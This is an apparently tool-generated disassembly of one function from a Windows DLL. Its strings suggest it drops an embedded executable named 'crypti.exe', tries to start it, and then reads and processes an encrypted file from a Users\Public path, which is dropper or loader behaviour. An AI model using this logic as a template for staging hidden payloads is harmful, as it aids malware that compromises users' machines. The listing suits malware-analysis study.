Function at 0x180065b10
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x4f0
mov rax, qword [0x180223280]
xor rax, rsp
mov qword [rsp + 0x4e0], rax
mov rdi, rcx
mov qword [rsp + 0x98], rcx
xor ebx, ebx
lea rax, str.crypti.exe
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], Ordinal_21
lea rax, [0x18022a760]
cmp qword [0x18022a778], 7
cmova rax, qword [0x18022a760]
mov qword [rsp + 0x40], rax
mov rax, qword [0x18022a770]
mov qword [rsp + 0x48], rax
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [rsp + 0x80], xmm0
movabs r15, 0xc000000000000000
mov qword [rsp + 0x78], r15
mov qword [rsp + 0x40], 1
lea rax, [rsp + 0x78]
mov qword [rsp + 0x48], rax
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x130], xmm0
movaps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x40], xmm1
lea r8, [rsp + 0x130]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x160]
call fcn.18000a610
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x2d0]
call fcn.1800c0e90
lea rdx, [rsp + 0x160]
cmp qword [rsp + 0x178], 7
cmova rdx, qword [rsp + 0x160]
lea rcx, [rsp + 0x2d0]
call fcn.180028af0
mov rax, qword [rsp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea r12, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x2d0], r12
mov rax, qword [rsp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x2cc], edx
cmp qword [rsp + 0x358], rbx
jne 0x180065dc6
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
mov r8d, Ordinal_26
lea rdx, str.____File_can_not_writed
lea rcx, [rsp + 0x50]
call fcn.180005240
nop
lea r8, [rsp + 0x50]
mov rdx, rdi
call fcn.180067170
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x180065cdb
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180065cd6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180066f69
call fcn.18008ef10
movdqa xmm0, xmmword [0x1802080d0]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov rax, qword [rsp + 0x2d0]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x2d0], r12
mov rax, qword [rsp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x2cc], edx
lea rcx, [rsp + 0x2d8]
call fcn.1800281a0
mov rax, qword [rsp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x2d0], rax
mov rax, qword [rsp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0x2cc], edx
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0x378], rax
lea rcx, [rsp + 0x378]
call fcn.18008ca60
nop
mov rdx, qword [rsp + 0x178]
cmp rdx, 7
jbe 0x180065dbe
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180065db9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180066f6f
call fcn.18008ef10
mov rax, rdi
jmp 0x180066f3c
mov r8d, 0x9d000
lea rdx, [0x180165c00]
lea rcx, [rsp + 0x2d0]
call fcn.180028340
lea rcx, [rsp + 0x2d8]
call fcn.1800289f0
mov esi, 6
test rax, rax
jne 0x180065e38
mov rax, qword [rsp + 0x2d0]
movsxd rcx, dword [rax + 4]
mov eax, esi
mov r14d, 2
cmp qword [rsp + rcx + 0x318], 0
cmovne eax, r14d
or eax, dword [rsp + rcx + 0x2e0]
and eax, 0x17
mov dword [rsp + rcx + 0x2e0], eax
mov edx, dword [rsp + rcx + 0x2e4]
and edx, eax
jne 0x180066f75
mov rax, qword [rsp + 0x2d0]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x2d0], r12
mov rax, qword [rsp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x2cc], edx
lea rcx, [rsp + 0x2d8]
call fcn.1800281a0
mov rax, qword [rsp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x2d0], rax
mov rax, qword [rsp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0x2cc], edx
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0x378], rax
lea rcx, [rsp + 0x378]
call fcn.18008ca60
nop
lea rax, str.start______
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], Ordinal_21
lea rax, [rsp + 0x160]
cmp qword [rsp + 0x178], 7
cmova rax, qword [rsp + 0x160]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x170]
mov qword [rsp + 0x48], rax
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [rsp + 0x80], xmm0
mov qword [rsp + 0x78], r15
mov qword [rsp + 0x40], 1
lea rax, [rsp + 0x78]
mov qword [rsp + 0x48], rax
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x130], xmm0
movaps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x40], xmm1
lea r8, [rsp + 0x130]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x50]
call fcn.18000a610
nop
mov edx, 0x2710
lea rcx, [rsp + 0x50]
call fcn.18004c150
mov byte [rsp + 0x70], al
mov byte [rsp + 0x71], al
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x180065fc1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180065fab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180066fd2
call fcn.18008ef10
lea rcx, [rsp + 0x30]
call fcn.180049dc0
mov rax, qword [rsp + 0x30]
jmp 0x180065fd5
lea rcx, [rsp + 0x30]
call fcn.180049dc0
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x30], rax
movabs r14, 0x7fffffffc46535ff
mov r12d, 0xff
cmp rax, r14
je 0x18006600e
mov ecx, 1
cmovl ecx, r12d
test cl, cl
jns 0x18006600e
add rax, 0x3b9aca00
mov qword [rsp + 0x30], rax
movabs r15, 0x7fffffffffffffff
jmp 0x18006601d
movabs r15, 0x7fffffffffffffff
mov qword [rsp + 0x30], r15
lea rcx, [rsp + 0x30]
call fcn.18004ba90
nop
lea rdx, [rsp + 0x160]
cmp qword [rsp + 0x178], 7
cmova rdx, qword [rsp + 0x160]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rbx
mov r8, qword [rsp + 0x170]
lea rcx, [rsp + 0x50]
call fcn.180008f10
nop
mov r8d, 3
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x40]
call fcn.180024a60
movsd xmm0, qword [rax]
movsd qword [rsp + 0x30], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x40], ecx
lea rax, [0x180224290]
mov qword [rsp + 0x48], rax
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x130], xmm0
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x1800660f5
cmp eax, 1
setne r13b
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x180066107
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180066102
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180066fd8
jmp 0x180066102
xor r13b, r13b
test ecx, ecx
jne 0x180066fde
jmp 0x1800660b6
call fcn.18008ef10
test r13b, r13b
je 0x1800661b7
lea rdx, [rsp + 0x160]
cmp qword [rsp + 0x178], 7
cmova rdx, qword [rsp + 0x160]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rbx
mov r8, qword [rsp + 0x170]
lea rcx, [rsp + 0x50]
call fcn.180008f10
nop
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 7
cmova rcx, qword [rsp + 0x50]
call fcn.18008dbd4
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x180066ff8
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x1800661b7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800661b1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18006700e
call fcn.18008ef10
nop
movzx r13d, byte [rsp + 0x70]
jmp 0x1800661ee
lea rcx, [rsp + 0x30]
call fcn.180049dc0
mov rax, qword [rsp + 0x30]
cmp rax, r14
je 0x18006621c
mov ecx, 1
cmovl ecx, r12d
test cl, cl
jns 0x18006621c
add rax, 0x3b9aca00
mov qword [rsp + 0x30], rax
jmp 0x180066221
mov qword [rsp + 0x30], r15
lea rcx, [rsp + 0x30]
call fcn.18004ba90
test r13b, r13b
jne 0x18006635d
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____Process_can_not_created:_
mov qword [rsp + 0x130], rcx
mov qword [rsp + 0x138], Ordinal_37
mov dword [rsp + 0x48], eax
movabs rax, 0x2000000000000000
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x30], 1
lea rax, [rsp + 0x40]
mov qword [rsp + 0x38], rax
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
movaps xmm1, xmmword [rsp + 0x130]
movdqa xmmword [rsp + 0x130], xmm1
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x50]
call fcn.180019230
nop
lea r8, [rsp + 0x50]
mov rdx, rdi
call fcn.180067170
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x1800662fa
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800662f5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180067014
call fcn.18008ef10
movdqa xmm0, xmmword [0x1802080d0]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov rdx, qword [rsp + 0x178]
cmp rdx, 7
jbe 0x180066355
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180066350
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18006701a
call fcn.18008ef10
mov rax, rdi
jmp 0x180066f3c
xor edx, edx
mov r8d, 0x208
lea rcx, [rsp + 0x2d0]
call fcn.1800c0e90
mov edx, 0x104
lea rcx, [rsp + 0x2d0]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
xorps xmm0, xmm0
xorps xmm1, xmm1
mov r8d, 3
lea rcx, [rsp + 0x50]
movups xmmword [rsp + 0x50], xmm0
movdqu xmmword [rsp + 0x60], xmm1
cmp eax, r8d
jb 0x1800663b5
lea rdx, [rsp + 0x2d0]
call fcn.180008f10
jmp 0x1800663c2
lea rdx, [0x180205ab0]
call fcn.180008f10
nop
lea rax, str.UsersPublic_tmp.enc
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], reloc.LIBPQ.dll_Ordinal_22
lea rax, [rsp + 0x50]
cmp qword [rsp + 0x68], 7
cmova rax, qword [rsp + 0x50]
mov qword [rsp + 0x130], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x138], rax
movups xmm0, xmmword [rsp + 0x130]
movups xmmword [rsp + 0x80], xmm0
movabs rax, 0xc000000000000000
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x130], 1
lea rax, [rsp + 0x78]
mov qword [rsp + 0x138], rax
movaps xmm0, xmmword [rsp + 0x130]
movdqa xmmword [rsp + 0x130], xmm0
movaps xmm1, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm1
lea r8, [rsp + 0x130]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x140]
call fcn.18000a610
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x1800664ae
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800664a9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180067020
call fcn.18008ef10
movdqa xmm0, xmmword [0x1802080c0]
movdqu xmmword [rsp + 0x60], xmm0
mov word [rsp + 0x50], bx
lea rdx, [rsp + 0x140]
cmp qword [rsp + 0x158], 7
cmova rdx, qword [rsp + 0x140]
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
mov qword [rsp + 0x88], rbx
mov qword [rsp + 0x90], rbx
mov r8, qword [rsp + 0x150]
lea rcx, [rsp + 0x78]
call fcn.180008f10
nop
mov r8d, 3
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x40]
call fcn.180024a60
movsd xmm0, qword [rax]
movsd qword [rsp + 0x30], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x130], ecx
lea rax, [0x180224290]
mov qword [rsp + 0x138], rax
movaps xmm0, xmmword [rsp + 0x130]
movdqa xmmword [rsp + 0x130], xmm0
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x1800665a0
cmp eax, 1
sete r14b
mov rdx, qword [rsp + 0x90]
cmp rdx, 7
jbe 0x1800665b2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800665ad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180067026
jmp 0x1800665ad
mov r14b, 1
test ecx, ecx
jne 0x18006702c
jmp 0x18006655e
call fcn.18008ef10
test r14b, r14b
je 0x1800666ff
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x88], xmm1
mov r8d, Ordinal_33
lea rdx, str.____Encrypted_file_not_exist
lea rcx, [rsp + 0x78]
call fcn.180005240
nop
lea r8, [rsp + 0x78]
mov rdx, rdi
call fcn.180067170
nop
mov rdx, qword [rsp + 0x90]
cmp rdx, 0xf
jbe 0x180066635
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180066630
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180067046
call fcn.18008ef10
movdqa xmm0, xmmword [0x1802080d0]
movdqu xmmword [rsp + 0x88], xmm0
mov byte [rsp + 0x78], 0
mov rdx, qword [rsp + 0x158]
cmp rdx, 7
jbe 0x180066693
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18006668e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18006704c
call fcn.18008ef10
mov qword [rsp + 0x150], rbx
mov qword [rsp + 0x158], 7
mov word [rsp + 0x140], bx
mov rdx, qword [rsp + 0x178]
cmp rdx, 7
jbe 0x1800666f7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800666f2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180067052
call fcn.18008ef10
mov rax, rdi
jmp 0x180066f3c
xor edx, edx
mov r8d, 0x110
lea rcx, [rsp + 0x1c0]
call fcn.1800c0e90
lea rdx, [rsp + 0x140]
cmp qword [rsp + 0x158], 7
cmova rdx, qword [rsp + 0x140]
lea rcx, [rsp + 0x1c0]
call fcn.1800487b0
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea r15, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x1c0], r15
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x1bc], edx
cmp qword [rsp + 0x250], 0
jne 0x180066941
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
mov r8d, Ordinal_34
lea rdx, str.____Encrypted_file_can_not_open
lea rcx, [rsp + 0x50]
call fcn.180005240
nop
lea r8, [rsp + 0x50]
mov rdx, rdi
call fcn.180067170
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x1800667f2
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800667ed
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180067058
call fcn.18008ef10
movdqa xmm0, xmmword [0x1802080d0]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x1c0], r15
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x1bc], edx
lea rcx, [rsp + 0x1d0]
call fcn.1800281a0
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x1c0], rax
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rsp + rcx + 0x1bc], edx
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0x270], rax
lea rcx, [rsp + 0x270]
call fcn.18008ca60
nop
mov rdx, qword [rsp + 0x158]
cmp rdx, 7
jbe 0x1800668d5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800668d0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18006705e
call fcn.18008ef10
mov qword [rsp + 0x150], rbx
mov qword [rsp + 0x158], 7
mov word [rsp + 0x140], bx
mov rdx, qword [rsp + 0x178]
cmp rdx, 7
jbe 0x180066939
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180066934
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180067064
call fcn.18008ef10
mov rax, rdi
jmp 0x180066f3c
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x1c0]
call fcn.180047810
mov r14, qword [rax + 8]
add r14, qword [rax]
test r14, r14
jg 0x180066bbc
lea rcx, [rsp + 0x1d0]
call fcn.1800289f0
test rax, rax
jne 0x1800669b2
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
cmp qword [rsp + rcx + 0x208], 0
mov eax, 2
cmovne esi, eax
or esi, dword [rsp + rcx + 0x1d0]
and esi, 0x17
mov dword [rsp + rcx + 0x1d0], esi
mov eax, dword [rsp + rcx + 0x1d4]
and eax, esi
jne 0x18006706a
lea rax, str.____Encrypted_file_size_is_
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], Ordinal_37
mov qword [rsp + 0x138], r14
movabs rax, 0x3000000000000000
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x40], 1
lea rax, [rsp + 0x130]
mov qword [rsp + 0x48], rax
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm0
movaps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm1
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.180019230
nop
lea r8, [rsp + 0x50]
mov rdx, rdi
call fcn.180067170
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x180066a6d
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180066a68
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800670c4
call fcn.18008ef10
movdqa xmm0, xmmword [0x1802080d0]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x1c0], r15
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x1bc], edx
lea rcx, [rsp + 0x1d0]
call fcn.1800281a0
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x1c0], rax
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rsp + rcx + 0x1bc], edx
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0x270], rax
lea rcx, [rsp + 0x270]
call fcn.18008ca60
nop
mov rdx, qword [rsp + 0x158]
cmp rdx, 7
jbe 0x180066b50
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180066b4b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800670ca
call fcn.18008ef10
mov qword [rsp + 0x150], rbx
mov qword [rsp + 0x158], 7
mov word [rsp + 0x140], bx
mov rdx, qword [rsp + 0x178]
cmp rdx, 7
jbe 0x180066bb4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180066baf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800670d0
call fcn.18008ef10
mov rax, rdi
jmp 0x180066f3c
lea rcx, [rsp + 0x1c0]
call fcn.1800478f0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x180], xmm1
mov qword [rsp + 0x190], rbx
mov rdx, r14
lea rcx, [rsp + 0x180]
call fcn.180049b00
mov r8, r14
mov rdx, qword [rsp + 0x180]
lea rcx, [rsp + 0x1c0]
call fcn.180047ae0
lea rcx, [rsp + 0x1d0]
call fcn.1800289f0
test rax, rax
jne 0x180066c54
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
cmp qword [rsp + rcx + 0x208], 0
mov eax, 2
cmovne esi, eax
or esi, dword [rsp + rcx + 0x1d0]
and esi, 0x17
mov dword [rsp + rcx + 0x1d0], esi
mov eax, dword [rsp + rcx + 0x1d4]
and eax, esi
jne 0x1800670d6
lea rdx, [rsp + 0x140]
cmp qword [rsp + 0x158], 7
cmova rdx, qword [rsp + 0x140]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rbx
mov r8, qword [rsp + 0x150]
lea rcx, [rsp + 0x50]
call fcn.180008f10
nop
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 7
cmova rcx, qword [rsp + 0x50]
call fcn.18008dbd4
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x180067131
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x180066cfa
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180066cf5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180067147
call fcn.18008ef10
mov r8, qword [rsp + 0x188]
mov rdx, qword [rsp + 0x180]
lea rcx, [rsp + 0x198]
call fcn.180048f60
nop
lea rdx, [rsp + 0x198]
cmp qword [rsp + 0x1b0], 0xf
cmova rdx, qword [rsp + 0x198]
mov r8, qword [rsp + 0x1a8]
add r8, rdx
mov rcx, rdi
call fcn.18006acf0
nop
mov rdx, qword [rsp + 0x1b0]
cmp rdx, 0xf
jbe 0x180066d89
inc rdx
mov rcx, qword [rsp + 0x198]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180066d84
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18006714d
call fcn.18008ef10
mov qword [rsp + 0x1a8], rbx
mov qword [rsp + 0x1b0], reloc.LIBPQ.dll_Ordinal_15
mov byte [rsp + 0x198], 0
mov rcx, qword [rsp + 0x180]
test rcx, rcx
je 0x180066dfb
mov rdx, qword [rsp + 0x190]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180066de2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180067153
call fcn.18008ef10
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x190], rbx
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x1c0], r15
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x1bc], edx
lea rcx, [rsp + 0x1d0]
call fcn.1800281a0
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x1c0], rax
mov rax, qword [rsp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rsp + rcx + 0x1bc], edx
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0x270], rax
lea rcx, [rsp + 0x270]
call fcn.18008ca60
nop
mov rdx, qword [rsp + 0x158]
cmp rdx, 7
jbe 0x180066ecb
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180066ec6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180067159
call fcn.18008ef10
mov qword [rsp + 0x150], rbx
mov qword [rsp + 0x158], 7
mov word [rsp + 0x140], bx
mov rdx, qword [rsp + 0x178]
cmp rdx, 7
jbe 0x180066f2f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180066f2a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18006715f
call fcn.18008ef10
mov rax, rdi
jmp 0x180066f3c
mov rcx, qword [rsp + 0x4e0]
xor rcx, rsp
call fcn.18008eef0
lea r11, [rsp + 0x4f0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
call fcn.18009e1e4
nop
call fcn.18009e1e4
nop
test dl, 4
je 0x180066f83
lea rbx, [0x1800fb6b8]
jmp 0x180066f98
test r14b, dl
lea rbx, [0x1800fb6d0]
lea rax, [0x1800fb6e8]
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x130]
call fcn.180002dd0
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0xb0]
call fcn.1800037a0
lea rdx, [0x1802207b0]
lea rcx, [rsp + 0xb0]
call fcn.1800915e0
nop
call fcn.18009e1e4
nop
call fcn.18009e1e4
nop
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x130]
lea rcx, str.exists
call fcn.180023fd0
nop
shr rdx, 0x20
lea r8, [rsp + 0x50]
lea rcx, str.remove
call fcn.18002bac0
nop
call fcn.18009e1e4
nop
call fcn.18009e1e4
nop
call fcn.18009e1e4
nop
call fcn.18009e1e4
int3
call fcn.18009e1e4
nop
